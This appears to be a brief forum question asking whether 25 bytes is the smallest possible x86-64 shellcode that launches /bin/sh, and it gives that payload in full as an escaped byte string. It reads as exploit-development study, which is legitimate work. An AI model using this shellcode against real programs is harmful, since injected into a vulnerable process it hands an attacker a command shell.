Minimal x86-64 shellcode for /bin/sh?

I was trying to figure out the minimal shellcode necessary to launch /bin/sh from a 64-bit processor, and the smallest I could come up with is 25 bytes: \x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05.